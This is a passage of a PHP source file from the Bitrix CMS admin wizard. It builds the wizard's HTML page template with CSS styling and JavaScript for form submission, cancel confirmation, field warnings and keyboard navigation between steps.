		$alertText = GetMessageJS("MAIN_WIZARD_WANT_TO_CANCEL");
		$loadingText = GetMessageJS("MAIN_WIZARD_WAIT_WINDOW_TEXT");

		$package = $wizard->GetPackage();

		return <<<HTML
<!DOCTYPE html>
<html id="bx-admin-prefix">
<head>
	<head>
		<title>{$wizardName}</title>
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta http-equiv="Content-Type" content="text/html; charset={$charset}">
		{$ajaxScripts}
		<style type="text/css">
			body
			{
				margin:0;
				padding:0;
				font-size: 13px;
				font-family: "Helvetica Neue",Helvetica,Arial,sans-serif;
			}
			table {font-size:100%;}
			form {margin:0; padding:0; }

			a {
				color: #2675D7;
				text-decoration: underline;
			}


			.step-content {
				border: solid 1px #DCE7ED;
				background-color: #F5F9F9;
				height: 347px;
				overflow: auto;
			}

			.step-header {
				border-bottom: 1px solid #DCE7ED;
				font-size: 12px;
				padding: 6px 30px 9px 9px;
				margin-bottom: 12px;
			}

			.step-title { font-size: 16px; }
			.step-subtitle { font-size: 13px; }

			.step-body {
				padding: 0 10px;
			}

			.step-buttons
			{
				padding-top: 12px;
				padding-left: 2px;
			}

			.step-buttons input {
				-webkit-border-radius: 4px;
				border-radius: 4px;
				border:none;
				border-top:1px solid #fff;
				-webkit-box-shadow: 0 0 1px rgba(0,0,0,.11), 0 1px 1px rgba(0,0,0,.3), inset 0 1px #fff, inset 0 0 1px rgba(255,255,255,.5);
				box-shadow: 0 0 1px rgba(0,0,0,.3), 0 1px 1px rgba(0,0,0,.3), inset 0 1px #fff, inset 0 0 1px rgba(255,255,255,.5);
				background-image: -webkit-linear-gradient(bottom, #d7e3e7, #fff)!important;
				background-image: -moz-linear-gradient(bottom, #d7e3e7, #fff)!important;
				background-image: -ms-linear-gradient(bottom, #d7e3e7, #fff)!important;
				background-image: -o-linear-gradient(bottom, #d7e3e7, #fff)!important;
				background-image: linear-gradient(bottom, #d7e3e7, #fff)!important;
				color:#3f4b54;
				cursor:pointer;
				display:inline-block;
				font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;
				font-weight:bold;
				font-size:13px;
				height: 29px;
				text-shadow:0 1px rgba(255,255,255,0.7);
				text-decoration:none;
				position:relative;
				vertical-align:middle;
				-webkit-font-smoothing: antialiased;
				padding: 0 13px 2px;
				margin-right: 3px;
			}

			.step-buttons input:hover {
				text-decoration: none;
				background:#f3f6f7!important;
				background-image: -webkit-linear-gradient(top, #f8f8f9, #f2f6f8)!important;
				background-image: -moz-linear-gradient(top, #f8f8f9, #f2f6f8)!important;
				background-image: -ms-linear-gradient(top, #f8f8f9, #f2f6f8)!important;
				background-image: -o-linear-gradient(top, #f8f8f9, #f2f6f8)!important;
				background-image: linear-gradient(top, #f8f8f9, #f2f6f8)!important;
			}

			.step-buttons input:active {
				-webkit-border-radius: 4px;
				border-radius: 4px;
				background-color: #b7c4c9!important;
				-webkit-box-shadow: inset 0 1px 1px 1px rgba(103,109,123,.78);
				box-shadow: inset 0 1px 1px 1px rgba(103,109,123,.78);
				background-image: -webkit-linear-gradient(top, rgba(179,194,200,.96), rgba(202,215,219,.96))!important;
				background-image: -moz-linear-gradient(top, rgba(179,194,200,.96), rgba(202,215,219,.96))!important;
				background-image: -ms-linear-gradient(top, rgba(179,194,200,.96), rgba(202,215,219,.96))!important;
				background-image: -o-linear-gradient(top, rgba(179,194,200,.96), rgba(202,215,219,.96))!important;
				background-image: linear-gradient(top, rgba(179,194,200,.96), rgba(202,215,219,.96))!important;
				border-top:transparent;
				height: 29px;
				outline:none;
				padding:2px 13px 1px;
			}

			.bx-ie8 .step-buttons input,
			.bx-ie9 .step-buttons input {
				border-radius:4px;
				background:url("/bitrix/panel/main/images/bx-admin-sprite-small-2.png") repeat-x 0 -3554px;
				box-shadow:0 0 0 1px rgba(0, 0, 0, 0.07), 0 1px 2px rgba(0, 0, 0, 0.5), 0 1px 0 #FFFFFF inset, 0 0 1px rgba(255, 255, 255, 0.5) inset !important;
				line-height:16px;
				height:31px!important;
				padding-top:6px!important;
				padding-bottom:6px!important;
				margin-right: 3px !important;
			}

			.bx-ie8 .step-buttons input {border:1px solid #959c9d !important;}

			#step_error
			{
				color:red;
				padding:0 0 12px 0;
			}

			#hidden-layer
			{
				background:#F8F9FC none repeat scroll 0%;
				height:100%;
				left:0pt;
				opacity:0.01;
				filter:alpha(opacity=1);
				-moz-opacity:0.01;
				position:absolute;
				top:0pt;
				width:100%;
				z-index:10001;
			}

			/*Data table*/
			table.wizard-data-table { border:1px solid #B2C4DD; border-collapse:collapse;}
			table.wizard-data-table td { border:1px solid #B2C4DD; background-color:#FFFFFF; padding:3px 5px; }
			table.wizard-data-table thead td, table.wizard-data-table th {
				background-color:#E4EDF5;
				font-weight:normal;
				background-image:none;
				border:1px solid #B2C4DD;
				padding:4px;
			}
			table.wizard-data-table tbody td { background-color:#FFF; background-image:none; }
			table.wizard-data-table tfoot td { background-color:#F2F5F9; padding:4px; }

			.wizard-note-box { background:#FEFDEA; padding:7px; border:1px solid #D7D6BA; }
			.wizard-required { color:red; }

			.bx-session-message { display: none !important;}

		</style>

		{$adminScript}

		<script type="text/javascript">

			top.BX.message({"ADMIN_WIZARD_EXIT_ALERT" : "{$alertText}"});

			function OnLoad()
			{
				var dialog = top.BX.WindowManager.Get();
				if (dialog)
					dialog.SetTitle('{$wizardName}');

				var form = document.forms["{$formName}"];

				if (form)
					form.onsubmit = OnFormSubmit;

				var cancelButton = document.forms["{$formName}"].elements["{$cancelButtonID}"];
				var nextButton = document.forms["{$formName}"].elements["{$nextButtonID}"];
				var prevButton = document.forms["{$formName}"].elements["{$prevButtonID}"];
				var finishButton = document.forms["{$formName}"].elements["{$finishButtonID}"];

				if (cancelButton && !nextButton && !prevButton && !finishButton)
				{
					top.WizardWindow.isClosed = true;
					cancelButton.onclick = CloseWindow;
				}
				else if(cancelButton)
				{
					cancelButton.onclick = ConfirmCancel;
				}

				{$autoSubmit}
			}

			function OnFormSubmit()
			{
				var div = document.body.appendChild(document.createElement("DIV"));
				div.id = "hidden-layer";
			}

			function AutoSubmit()
			{
				var nextButton = document.forms["{$formName}"].elements["{$nextButtonID}"];
				if (nextButton)
				{
					var wizard = top.WizardWindow;
					if (wizard)
					{
						wizard.messLoading = "{$loadingText}";
						wizard.ShowWaitWindow();
					}

					nextButton.click();
					nextButton.disabled=true;
				}
			}

			function ConfirmCancel()
			{
				return (confirm("{$alertText}"));
			}

			function ShowWarnings(warnings)
			{
				var form = document.forms["{$formName}"];
				if(!form)
					return;

				for(var i in warnings)
				{
					var e = form.elements[warnings[i]["name"]];
					if(!e)
						continue;

					var type = (e.type? e.type.toLowerCase():"");
					var bBefore = false;
					if(e.length > 1 && type != "select-one" && type != "select-multiple")
					{
						e = e[0];
						bBefore = true;
					}
					if(type == "textarea" || type == "select-multiple")
						bBefore = true;

					var td = e.parentNode;
					var img;
					if(bBefore)
					{
						img = td.insertBefore(new Image(), e);
						td.insertBefore(document.createElement("BR"), e);
					}
					else
					{
						img = td.insertBefore(new Image(), e.nextSibling);
						img.hspace = 2;
						img.vspace = 2;
						img.style.verticalAlign = "bottom";
					}
					img.src = "/bitrix/themes/"+phpVars.ADMIN_THEME_ID+"/images/icon_warn.gif";
					img.title = warnings[i]["title"];
				}
			}

			document.onkeydown = EnterKeyPress;

			function EnterKeyPress(event)
			{

				event = event || window.event;

				if (!event.ctrlKey)
					return;

				var key = (event.keyCode ? event.keyCode : (event.which ? event.which : null) );

				if (!key)
					return;

				if (key == 13 || key == 39)
				{
					var nextButton = document.forms["{$formName}"].elements["{$nextButtonID}"];
					if (nextButton)
						nextButton.click();
				}
				else if (key == 37)
				{
					var prevButton = document.forms["{$formName}"].elements["{$prevButtonID}"];
					if (prevButton)
						prevButton.click();
				}
			}

			function CloseWindow()
			{
				if (self.parent.window.WizardWindow)
					self.parent.window.WizardWindow.Close();
			}

		</script>

	</head>

	<body onload="OnLoad();">

		{#FORM_START#}
		<div class="step-content">
			<div class="step-header">
				<div class="step-title">{$stepTitle}</div>
				<div class="step-subtitle">{$stepSubTitle}</div>
			</div>
			<div class="step-body">
				{$strError}
				{#CONTENT#}
			</div>

		</div>
		<div class="step-buttons">{#BUTTONS#}</div>
		{#FORM_END#}
		{$strJsError}

	</body>
</html>
HTML;

	}

}

?>